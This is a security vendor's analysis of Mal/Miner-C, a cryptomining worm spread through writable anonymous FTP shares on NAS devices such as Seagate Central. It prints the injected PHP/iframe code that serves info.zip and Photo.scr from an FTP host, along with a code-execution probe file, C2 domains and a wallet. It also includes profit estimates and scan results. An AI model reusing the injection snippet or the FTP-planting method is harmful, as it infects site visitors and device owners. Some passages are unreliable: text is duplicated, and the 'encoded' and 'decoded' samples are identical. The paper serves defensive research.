Cryptomining malware on NAS servers

A couple of years ago, coin mining was a bubbling story. There were many threats that used infected machines to mine cryptocurrencies at the expense of the victim. Mining coins on someone else’s machine could provide the attacker with free CPU resources from each infected system, so there was no need to steal directly from the victim. The infected machine would also deliver the block rewards from the mining operations into the attacker’s wallet.

The idea was perfect from the criminal’s point of view, but as time went on the average PC was no longer powerful enough to mine even a single coin. It was time to give up on this type of attack and turn the attention to other ways to make money, like ransomware. Recently a new malware family has found a way to use PCs efficiently to mine new types of cryptocurrency.

Attila Marosi, Senior Threat Researcher, SophosLabs
Cryptomining malware on NAS servers

Contents
Introduction........................................................................................................................................3
Monero: the cryptocoind .........................................................................................................................3
Mal/Miner-C ........................................................................................................................................6
  The main NSIS ....................................................................................................................................6
  tftp.exe ........................................................................................................................................9
  Interesting notes .................................................................................................................................10
  Telemetry of the threat .....................................................................................................................11
Seagate Central ....................................................................................................................................12
Moneropool: mined coins ....................................................................................................................15
  Let’s do some math ..........................................................................................................................16
References ..........................................................................................................................................21
Cryptomining malware on NAS servers

Introduction

A couple of years ago, coin mining was a bubbling story. There were many threats that used infected machines to mine cryptocurrencies at the expense of the victim. Mining coins on someone else’s machine could provide the attacker with free CPU resources from each infected system, so there was no need to steal directly from the victim. The infected machine would also deliver the block rewards from the mining operations into the attacker’s wallet.

The idea was perfect from the criminal’s point of view, but as time went on the average personal computer was no longer powerful enough to mine even a single coin. It was time to give up on this type of attack and turn the attention to other ways to make money, like ransomware. Recently a new malware family has found a way to use PCs efficiently to mine new types of cryptocurrency.

Monero: the cryptocoin

For Bitcoin, the main challenge with mining was the difficulty. As more blocks were discovered, the difficulty associated with mining new coins also increased exponentially. After a certain point there was no measurable profit to be gained from mining using personal PCs. [1] As you can see in the picture below, the difficulty of mining increased dramatically after 2012.

![Graph showing Bitcoin difficulty changes over time](image.png)

After that point in 2012, mining on PCs became unprofitable and criminals lost interest, so they gave up trying to use victims’ computers to mine and turned their attention to other types of malware to make money.
Although mining Bitcoins is no longer profitable, there are plenty of other digital currencies that are quite new and are significantly less difficult to mine. Many of them have very good cryptographic protections, which can effectively hide their users. One of these cryptocurrencies is Monero. [2]

Monero is a new digital cryptocurrency that is easier to mine than Bitcoin, as you can see below.

![Monero Difficulty Chart](image)

In this state, mining this type of cryptocurrency is profitable. Criminals recognized this and started to spread a new malware payload that uses infected machines to mine coins at the expense of the system owner’s CPU and GPU resources.

Based on my tests and information available on the internet, today’s average CPU can calculate 50-1500 hashes per second. This is not much on its own, but if hundreds or thousands are pooled together it could be enough to be of interest to a criminal to exploit.

Most of today’s PCs have a dedicated video module, or equipment to perform video rendering tasks called a GPU. This module can increase the number of hash calculations dramatically.
Cryptomining malware on NAS servers

(https://www.cryptocoinsnews.com/scrypt-mining-nvidia-gtx-750-ti/)
Cryptomining malware on NAS servers

Mal/Miner-C

(hash:2a5b3c07e32b3b2b0c1ef33a10685027703440ec)

This threat is interesting not only for the technique it uses to spread and get new nodes to help calculate hashes for the cryptocurrency, but it also attempts to copy itself to open (or weak) FTP folders in the hope of being executed on other machines.

The main NSIS

We have seen many versions of this threat. It is developed and maintained continuously, but all the versions seem to share a specific property: all the versions are developed in NSIS [6].

Contains multiple versions of miners:

The NSIS script queries information about the host system’s CPU type(s) and GPU capabilities before creating AutoRun entries used for running itself. (NSCpuCNMiner32.exe / NSCpuCNMiner64.exe and NSGpuCNMiner.exe)
Cryptomining malware on NAS servers

The malware downloads the latest version of the NSIS script from one of these hosts:

- stafftest.ru
- hrtests.ru
- profetest.ru
- testpsy.ru
- pstests.ru
- qptest.ru
- prtests.ru
- jobtests.ru
- iqtesti.ru

The resources requested are typically named:

- stat.html
- test.html
- text.html

The downloaded document contains a list with the mining pools for which it will contribute. In our investigation it seems *moneropool.com* is the primary pool used by this threat.

```
stratum+tcp://mine.moneropool.com:3333
stratum+tcp://xmr.hashinvest.net:1111
stratum+tcp://monero.cryptopool.fr:3333
stratum+tcp://mine.cryptoescrow.eu:3333
```

The *tmp.ini* file contains the wallets to log the effort of the mining operations. The mining pool will count and finally send payment to these accounts:

```
[Section1]
pool= stratum+tcp://mine.moneropool.com:3333
usd= "144xhDJQXq1bQxYrF5tu3tVdMqBSDvYtr7UqqCnXw3j3hJ8w2c1xwBhYs2j3kXgG - p x *"
```

The resources which are downloaded at runtime are obfuscated by ROT47 with a custom character set.
For example, the *stat.html* file originally looks like this:

```html
<html>
<head>
</head>
<body>
<img
src="file:./img.png"
/>
</body>
</html>
```

After decoding:

```html
<html>
<head>
</head>
<body>
<img
src="file:./img.png"
/>
</body>
</html>
```

This method gives the criminals an opportunity to update the malware each time it is started. Since it generates a new initialization file when it is launched, it helps the malware avoid security solutions. It also gives the botnet operators a chance to change the payload of the threat in the future, for example, dropping ransomware to the victim’s machine after the mining business is no longer profitable.
Cryptomining malware on NAS servers

**tftp.exe**

Interestingly, not all the instances of the malware contain the tftp.exe file. Interestingly, not all the instances of the malware contain the tftp.exe file.

This executable just randomly generates IP addresses and tries to login. It has an embedded list of usernames and passwords that it uses to try to gain access.

It’s a kind of worm: if a host gets infected, it not only serves its owner by mining digital currency, but it also tries to infect other systems via FTP services.

If the embedded credentials are able to successfully connect to an FTP service, it tries to copy itself to the server and modify an existing web-related file with the extension .htm or .php in an attempt to further infect visitors to the host system.

If a file with this extension is found, the threat injects source code that creates an iFrame referencing the files info.zip or Photo.scr.
Cryptomining malware on NAS servers

If someone opens a page infected like this, the page will pop up a “save file” dialog. This kind of social engineering is needed to execute this threat, as it cannot infect machines automatically, but it bring the threat very close to the victim. Ultimately this threat needs the user to click or run the file in order for the new system to become infected.

This will be further described at the end of this paper. Since this action is noisy, the majority of potential devices that could be infected in this way have already been infected. After a time, the criminals behind this threat may opt to not spread this “tool” with malware, as it may prove ineffective as a mechanism for infecting additional systems.

Interesting notes

There is a scanner- or hacker-related service that I have no detailed information on, but I have observed many times within the last year. It involves placing a file on the device with the name w0000000t.php.

This file contains:

```php
<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?>
```

If the file upload was successful, requesting this document as http://xxx.xxx.xxx.xxx/w0000000t.php would result in the following response:

```
nopenopenope
```

This provides the attacker with proof of code execution capabilities on the host.

While searching for Mal/Miner-C, we found many hosts identified with this method, indicating that the host was most likely compromised more than once. On the first occasion, w0000000t.php was deployed. Later, Mal/Miner-C may have been deployed using the knowledge of the host’s ability to execute code on the device by injecting the iFrame.

```php
<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?>
<iframe src=ftp://shadow@196.xxx.xxx.76//info.zip width=1 height=1 frameborder=0>
</iframe>
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>
```
The highlighted credential was used in this case by Mal/Miner-C to upload an instance of info.zip, Photo.scp as well as infect the .php file.

**Telemetry of the threat**

In the first 6 months of this year we counted 1,702,476 individual instances of this threat. However, the number of unique IP addresses corresponding to these instances was only 3,150. The reason for this is simple: The threat is trying to log in to FTP services with embedded credentials (anonymous, root, admin, etc) with default and frequently used weak passwords. If successful - and the account has write access with using the FTP service - they will copy Photo.scr and info.zip to each folder recursively. Thus, if a single FTP server is infected, it is infected with multiple instances.
This threat is not targeting the Seagate Central device specifically; however, the device has a design flaw that allows it to be compromised. Most all of these devices have already been infected by this threat.

This is how the Seagate Central device separated the private and public folders.
As you can see, the device can facilitate multiple levels of accesses, including many private accounts as well as a built in public account. If you read the manual carefully, you will find a set of properties like this:

- By default the NAS system provides a public folder for sharing data. This public folder and account cannot be deleted or deactivated.
- For private data, one must create users and each user will have associated folders and individual login credentials for them.
- The admin user has the ability to enable the device for remote access or turn this feature off entirely.
- If the device is enabled for remote access, all the accounts will be available on the device, including the anonymous user. In this state, your device is open for anyone to write to your public folder.
- Note: The device can be used to stream your media content from a remote location, only the public folder content can be streamed in this way. Many other features are only available from the public folder. I suspect that this is one of the reasons why so much personal data resides in the public folder as users do not switch between folders. They utilize the one which provides them the most flexibility and functionality, and in most cases that is the public one.

If we log in to a Seagate Central, we will see something like this:

```
Connected to 
220 Welcome to Seagate Central Shared Storage FTP service. 
Name ( ): anonymous 
Password: 
230 Login successful. 
Remote system type is UNIX. 
Using binary mode to transfer files. 
ftp> passive 
Passive mode on. 
ftp> cd Public 
250 Directory successfully changed. 
ftp> dir 
150 Here comes the directory listing. 
drwxrwsrwx 2 65534 65534 65536 Jun 02 21:15 A
-dwxxwrxwx 4 65534 65534 65536 Feb 18 21:08
-dwxxwrxwx 2 65534 65534 65536 Feb 24 22:01 Manage Seagate Central Seagate___url
-dwxxwrxwx 1 65534 65534 65536 Aug 08 2014 Network Trash Folder
-dwxxwrxwx 2 65534 65534 65536 Aug 08 2014 2014 Temporary Items
-dwxxwrxwx 3 65534 65534 65536 Aug 08 2014 2014 Temporary Items
-dwxxwrxwx 1 65534 65534 3528008 May 09 20:08 info.zip
```
Cryptomining malware on NAS servers

There is a folder *Photos* and a file *Photo.scr* (sadly, most of the Windows machines file extensions are not displayed), and it also has a deceptive icon that is intended to look like a typical Windows folder icon.

Anyone could be easily misled to double click on the file and cause the program to begin execution on the machine.

Turning off the remote access can prevent the infection, but also means we lose the ability to access the device remotely.

---

**Disable remote access**

1. Sign in to the Seagate Central web page as an administrator.
2. Click the **Services** tab, and then click **Remote Access**.
3. Deselect **Enable**.

   Files on your Seagate Central device are no longer accessible over the Internet.

   To disable remote access to the device for a specific user, remove the remote access email from the user's folder. To learn how, see *Edit a private folder*.
Moneropool: mined coins

Moneropool is a mining community to mine Monero cryptocurrency. It based on a mining framework called node-cryptonote-pool.

Luckily, if you know the hash of the wallet you can get a report about the activities of it. The most interesting part of this report is the Total Paid and the Hash Rate. The hash rate is an accumulated value. Using this we can calculate how many coins can be mined in a day.
The Total Paid is the money that the criminals already get, the real profit of the network.

We also get the payment history, but with this technology there is no way to track the payments, which is one of the primary features of this cryptocurrency.

Let's do some math

Because the mining pool site shares much of this information and we know the wallet addresses collecting the rewards, we can do some calculations about the network and discover what was “mined” by it.
Here are the known wallet hashes:

![Image]

Luckily the framework used by Moneropool (node-cryptonote-pool) [3] has a good API interface and data can be queried easily:

```
curl 'https://api.moneropool.com/stats_address?address=4ASTnar5DSKjPW6kD5D5wm4Ha9a bEeUU2ik2D3Kw8xTv881v5AHTraxLpAU4ZGbzmeh4ohNCjX1LBZYPtuzN3xKxGrtrU2g&longpoll =true' | python -m json.tool
```

The result:

![JSON Output]

In this case, using only one wallet address, the mining pool sent **4913.5 XMR** crypto coins to the criminal’s wallet. At the moment of the HTTP request, the accumulated hash rate of the infected machines was **33,370 hashes per second**.

If we iterate all the wallet addresses and calculate the full power of the network, then add the money they have already mined, we get this:

*moneropool.com* has paid **58,577 XMR** to them. At the time of the calculation the exchange rate from *XMT* to *EUR* is **1.3 EUR**.
With the exchange rate at the time it was worth **76,599 EUR**.

Furthermore, the network of the infected machines has an accumulated power to calculate **431,000 hashes per second**. According to the calculator of the site, it is enough to mine **327.7** XMR each day.

Using the same method as before, we can estimate that they earn approximately **428 EUR** each day.

One interesting final note: The entire monorepool.com pool has 861,000 hashes per second accumulated at this rate. And the network of the infected machines has 431,000 hashes per second, which means roughly half of the total pool doing the mining is doing so unintentionally via infected systems.

Here is what the full Monero mining community looks like: 2.5% of the whole mining capacity comes from infected machines.
Anonymous FTPs with write access

In this case, *Mal/Miner-C* used a very simple and well-known configuration mistake to spread itself all over the world. We decided to see just how many homes and small businesses had vulnerable devices by scanning the internet to look for them.

First, we used a search engine called Censys to enumerate just under 3 million FTP servers worldwide. Then we fed this list into a scanning script that:

- Tried to connect anonymously to the FTP service.
- If allowed, retrieved a directory listing from the device (to provide an indication of compromise based on filenames).
- If allowed, tested to see if write access was permitted.

The results were as follows:

- IP numbers of FTP servers on original list: 2,932,833
- FTP servers active during the test: 2,137,571
- Active servers allowing anonymous remote access: 207,110
- Active servers where write access was enabled: 7,263
- Servers contaminated with Mal/Miner-C: 5,137
More than 70% of the servers where write access was enabled had already been found, visited and "borrowed" by crooks looking for innocent-sounding repositories for their malware.

If you've ever assumed that you're too small and insignificant to be of interest to cybercriminals, and thus that getting security settings right is only really for bigger organizations, this should convince you otherwise.

Very bluntly put, if you're not part of the solution, you're very likely to become part of the problem.
References

[3] https://github.com/zone117x/node-cryptonote-pool